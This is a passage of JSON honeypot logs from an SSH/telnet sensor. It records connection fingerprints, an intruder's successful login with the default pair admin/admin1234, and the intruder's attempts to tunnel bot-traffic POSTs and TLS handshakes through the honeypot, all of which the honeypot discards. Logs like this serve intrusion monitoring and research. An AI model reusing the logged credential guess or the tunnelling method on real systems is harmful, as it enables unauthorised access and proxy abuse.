nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:11.888907Z","src_ip":"66.132.195.91","session":"7ce6d44a6e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":59295,"dst_ip":"10.17.0.5","dst_port":22,"session":"703e5f27d8d1","protocol":"ssh","message":"New connection: 173.208.192.194:59295 (10.17.0.5:22) [session: 703e5f27d8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:14.017382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:14.024088Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:14.173817Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:14.884607Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54892,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7c21ae1690","protocol":"telnet","message":"New connection: 172.81.62.90:54892 (159.203.135.109:23) [session: 5c7c21ae1690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:15.488435Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54882,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd9cc8057c6e","protocol":"telnet","message":"New connection: 172.81.62.90:54882 (159.203.135.109:23) [session: dd9cc8057c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:15.499382Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:19.446923Z","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:19.480298Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; X4_Soul_Infinity_N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bHRoNy9YUFFRI15lODFuag%3D%3D%2FiYRAfLkTuDivq7HGx0kyRjp8GX2OrejVI%2BWPcWeVt1ailcXQZIOBoeQJL8JIxclPBP4yfuww7sNDgr2QWfsMkhL7QZruy35BYw3%2Fc76kGjeK6LuP7tt77EhHByGOh6LRufFi7C8OyP%2FEoDfvj5f8uV1N2zmH6WtVOcME6VaSsLcjAQ7KpfpwO%2FBsNg6VaXs9dy4jmxrtd5KmL4oa5JUcmVnsVp8RhuEoTJrNGEZn0cvqb1xw624yedpXMlPfJmDqRD5u5S7lbIUSxtHExOjsWpz9hqMIkKq215prKhj2tUAlqUGjtOXfvjU2mW5i7wGjp%2F%2BPPPZN2JzXq3QSglDkqL3wDAImLZUI3dthxPdLrdEse9vV684dVYAUkckamXN93ZRrgstMjAvuJ1gKsYHQv5KEbWbAYox5Oa3KUDdNenpKKWoQr5d8s1MWVd6oh741oPHHedW%2B%2BXJdtNIdW1il2mPTek%2BXzAq2t0BjVg556RnTzp4uZlr%2BXOpF0tZi7JgbZZv6xzUKo9qCPoiC5Q0kPhbRn%2B6moNLIpKz4pZwil7A2O%2FoXIvzDZ3vQK3pUE6O98c8%2B9VEIQF1HZCrdruFBCdnWP1RLBUSYAaZ7MqrD6nEsHoH%2BPZ%2FMINK6u210qcAggaMY2ysH708rcCVtMk0UxgLh4a%2FMcu3GBwqt9dXmGSML%2BFKzeW%2Bbz8IdjTEv1EUAOgU9CjvrC5BqR1IJtJhM5nvLRTT6ibznb2VEwZyHbmLDywO4ZCF0MA0%2FAd5STW7x%2BPZArDZuXGWQWt%2F%2Bpz062HZAXFoLiHwpJ2DZH773a0%2FnuiXOCnog6jIV5kl6p3ObqHD3qAak%2Bqh51nkjbGa6iHkjU5feAHjGdYh3rI2DYRWB3zyC4TZNwSZ9Rq%2Fob0AA8qstYppJgfSAKg8kewj4YwVEC47vgK9ugSEQahBYhwFZK9iPYlQaOHTOdka7vdk9sCmXOrtREvGQ2xGWb9MBvYWx92T6uFO4etH5VX2uInlnkxZX4Vc%2BykMY2GWqX3MKxgQBI6l6P5WWhqKXf7DlAUUA0%2F72LvS7iB1JNxiVBDrkJEc5eY9cRhWEQup%2FfVV'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; X4_Soul_Infinity_N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bHRoNy9YUFFRI15lODFuag%3D%3D%2FiYRAfLkTuDivq7HGx0kyRjp8GX2OrejVI%2BWPcWeVt1ailcXQZIOBoeQJL8JIxclPBP4yfuww7sNDgr2QWfsMkhL7QZruy35BYw3%2Fc76kGjeK6LuP7tt77EhHByGOh6LRufFi7C8OyP%2FEoDfvj5f8uV1N2zmH6WtVOcME6VaSsLcjAQ7KpfpwO%2FBsNg6VaXs9dy4jmxrtd5KmL4oa5JUcmVnsVp8RhuEoTJrNGEZn0cvqb1xw624yedpXMlPfJmDqRD5u5S7lbIUSxtHExOjsWpz9hqMIkKq215prKhj2tUAlqUGjtOXfvjU2mW5i7wGjp%2F%2BPPPZN2JzXq3QSglDkqL3wDAImLZUI3dthxPdLrdEse9vV684dVYAUkckamXN93ZRrgstMjAvuJ1gKsYHQv5KEbWbAYox5Oa3KUDdNenpKKWoQr5d8s1MWVd6oh741oPHHedW%2B%2BXJdtNIdW1il2mPTek%2BXzAq2t0BjVg556RnTzp4uZlr%2BXOpF0tZi7JgbZZv6xzUKo9qCPoiC5Q0kPhbRn%2B6moNLIpKz4pZwil7A2O%2FoXIvzDZ3vQK3pUE6O98c8%2B9VEIQF1HZCrdruFBCdnWP1RLBUSYAaZ7MqrD6nEsHoH%2BPZ%2FMINK6u210qcAggaMY2ysH708rcCVtMk0UxgLh4a%2FMcu3GBwqt9dXmGSML%2BFKzeW%2Bbz8IdjTEv1EUAOgU9CjvrC5BqR1IJtJhM5nvLRTT6ibznb2VEwZyHbmLDywO4ZCF0MA0%2FAd5STW7x%2BPZArDZuXGWQWt%2F%2Bpz062HZAXFoLiHwpJ2DZH773a0%2FnuiXOCnog6jIV5kl6p3ObqHD3qAak%2Bqh51nkjbGa6iHkjU5feAHjGdYh3rI2DYRWB3zyC4TZNwSZ9Rq%2Fob0AA8qstYppJgfSAKg8kewj4YwVEC47vgK9ugSEQahBYhwFZK9iPYlQaOHTOdka7vdk9sCmXOrtREvGQ2xGWb9MBvYWx92T6uFO4etH5VX2uInlnkxZX4Vc%2BykMY2GWqX3MKxgQBI6l6P5WWhqKXf7DlAUUA0%2F72LvS7iB1JNxiVBDrkJEc5eY9cRhWEQup%2FfVV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:19.483393Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:20.213799Z","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:20.277895Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1.2 Safari/601.5.17\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OEV7Zj5WNDhyT2QzQ0wmfQ%3D%3DDVBMMyd1LIh%2FPmWicKscJxkxTRYMu%2BLD%2BAyGmoEbSYGhSI6RD5vAVZiO8VRCuA8lj9%2F%2BCp8cveZVNJq6AbrcmIoo0NzKsj316UeYe6YSj8PXQvzn9lrBG4jy0R9noDvCaSmji0VTYwIfQYTZ%2Bkexo2az%2BvE9qWlS6JgGwDa5jQTtoJ8c6rkYUb97dGzBcI%2FAjlA2XNBrzrp8eXdSCFFVh1D%2BFT%2FXfL7WRbUjM5TVbvX109rmXtLqUzoaJ%2BvAUPBT3HzXxbwlx8nH7in3sH9kJbqPJOUWJYk3kwAnINeDIJmdACnsot5BBXkMPGUI9pXXbWQZMFpD98RwrKtqLq448TtoT2CEFE0j7foxaaFhRHd0HONyAWS3ggMZefRdWFnDjZEkTHwUpBDh%2FnEuf9ccplYM6bBmAIcl75k4cbbKn%2FBLnGfcza%2FK0dSeVvxnr2tLSZHGaoMf0VDnBJ3Xd8P6OmJC%2FuBnWKftS9YpbIFrMIFfZwfLeP2BQNe%2F1%2BHjT9aYR3HqNxKrpaqDaRWGFd9a0d6cQ41o8kkdR0YqedexJKVXizQMke2SOpqKHxJa6OIib7khbvW%2F%2FIlTwSPRNwkcjwCxMJPbB27XEmy7kYwpjpH0bY4izagMaz%2BenrzMP9pRQcDaarbGU7cdJ%2BSVXJX4McQH%2B9soRRJng%2FR33Wo6HVn6vFLLF3VdAa%2BuoFbbowz6Ictg9SqTdFRnoIMi1SxpZVqthXHdOjgZZXuh6Wf6vJTMEEAolLKPPSi%2FVr59kLkezTTUc%2BHaKpyKgbhEr3w0VDiMqdS5lAuUyQwROPtiHP7wkUMV6ZANdY2yc3H7rjZKLwOUDQqn%2BdeaWee%2BheBSGmVE1UtILfzfZOuxqfcY5wOup6cXQpKfBUS9R44y%2BhuVHgg4pwXSfiED6dlRtJdPIB2jSHVBMTC1KugA%2BAKX%2FYblTNm8i%2FE2%2BJlCsKyf3UT%2FQwQdx2sRkxUdLvR29WOQBgrXf6Le9uMmPAMCDWsDUVajZqL96intkvLaNx9UkP8jsPxAUooBA9DtBXhFHAda6AweEO9VpZ5DKmyukTNlzVDEjr7cXsBEnh5AZUEpsAbC'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1.2 Safari/601.5.17\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OEV7Zj5WNDhyT2QzQ0wmfQ%3D%3DDVBMMyd1LIh%2FPmWicKscJxkxTRYMu%2BLD%2BAyGmoEbSYGhSI6RD5vAVZiO8VRCuA8lj9%2F%2BCp8cveZVNJq6AbrcmIoo0NzKsj316UeYe6YSj8PXQvzn9lrBG4jy0R9noDvCaSmji0VTYwIfQYTZ%2Bkexo2az%2BvE9qWlS6JgGwDa5jQTtoJ8c6rkYUb97dGzBcI%2FAjlA2XNBrzrp8eXdSCFFVh1D%2BFT%2FXfL7WRbUjM5TVbvX109rmXtLqUzoaJ%2BvAUPBT3HzXxbwlx8nH7in3sH9kJbqPJOUWJYk3kwAnINeDIJmdACnsot5BBXkMPGUI9pXXbWQZMFpD98RwrKtqLq448TtoT2CEFE0j7foxaaFhRHd0HONyAWS3ggMZefRdWFnDjZEkTHwUpBDh%2FnEuf9ccplYM6bBmAIcl75k4cbbKn%2FBLnGfcza%2FK0dSeVvxnr2tLSZHGaoMf0VDnBJ3Xd8P6OmJC%2FuBnWKftS9YpbIFrMIFfZwfLeP2BQNe%2F1%2BHjT9aYR3HqNxKrpaqDaRWGFd9a0d6cQ41o8kkdR0YqedexJKVXizQMke2SOpqKHxJa6OIib7khbvW%2F%2FIlTwSPRNwkcjwCxMJPbB27XEmy7kYwpjpH0bY4izagMaz%2BenrzMP9pRQcDaarbGU7cdJ%2BSVXJX4McQH%2B9soRRJng%2FR33Wo6HVn6vFLLF3VdAa%2BuoFbbowz6Ictg9SqTdFRnoIMi1SxpZVqthXHdOjgZZXuh6Wf6vJTMEEAolLKPPSi%2FVr59kLkezTTUc%2BHaKpyKgbhEr3w0VDiMqdS5lAuUyQwROPtiHP7wkUMV6ZANdY2yc3H7rjZKLwOUDQqn%2BdeaWee%2BheBSGmVE1UtILfzfZOuxqfcY5wOup6cXQpKfBUS9R44y%2BhuVHgg4pwXSfiED6dlRtJdPIB2jSHVBMTC1KugA%2BAKX%2FYblTNm8i%2FE2%2BJlCsKyf3UT%2FQwQdx2sRkxUdLvR29WOQBgrXf6Le9uMmPAMCDWsDUVajZqL96intkvLaNx9UkP8jsPxAUooBA9DtBXhFHAda6AweEO9VpZ5DKmyukTNlzVDEjr7cXsBEnh5AZUEpsAbC'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:20.281492Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.070908Z","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.105648Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\x0e\\x00\\xf5&\\xf0\\xa5mg\\xed\\x14V\\xbd\\xf4f\\xd1Z\\xaa\\xa4\\x02\\xca\\xe8\\xb0F1VUK\\x8b\\xf4\\x95\\xb4 \\xbb\\x8d\\xee\\x13a\\xf8\\x88P$I\\xc1\\xf1\\x98\\xc0s\\xc9[P\\xc6\\xd2\\x96\\xb2<`\\x17\\x0b#\\xe5\\xa8\\x87\\xfeV\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x88(\\xcd\\x05\\xed\\xe4\\xcb>p\\xbb\\x0b\\x96\\xee\\xd0\\xdaX\\xfd5?\\xd8:\\xb7\\xd6\\xd6\\xa9\\xe0%\\xab\\xb5$p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\x0e\\x00\\xf5&\\xf0\\xa5mg\\xed\\x14V\\xbd\\xf4f\\xd1Z\\xaa\\xa4\\x02\\xca\\xe8\\xb0F1VUK\\x8b\\xf4\\x95\\xb4 \\xbb\\x8d\\xee\\x13a\\xf8\\x88P$I\\xc1\\xf1\\x98\\xc0s\\xc9[P\\xc6\\xd2\\x96\\xb2<`\\x17\\x0b#\\xe5\\xa8\\x87\\xfeV\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\x88(\\xcd\\x05\\xed\\xe4\\xcb>p\\xbb\\x0b\\x96\\xee\\xd0\\xdaX\\xfd5?\\xd8:\\xb7\\xd6\\xd6\\xa9\\xe0%\\xab\\xb5$p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.108630Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.207071Z","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:21.282017Z","src_ip":"173.208.192.194","session":"703e5f27d8d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O.\\x94\\xa0s =\\xe2IC\\xc8\\x0c\\xa8\\x96\\xef\\xe8\\xf5^\\x13\\xdd0\\x7f\\xa9o*6C\\xf2\\xbd\\x96V\\' 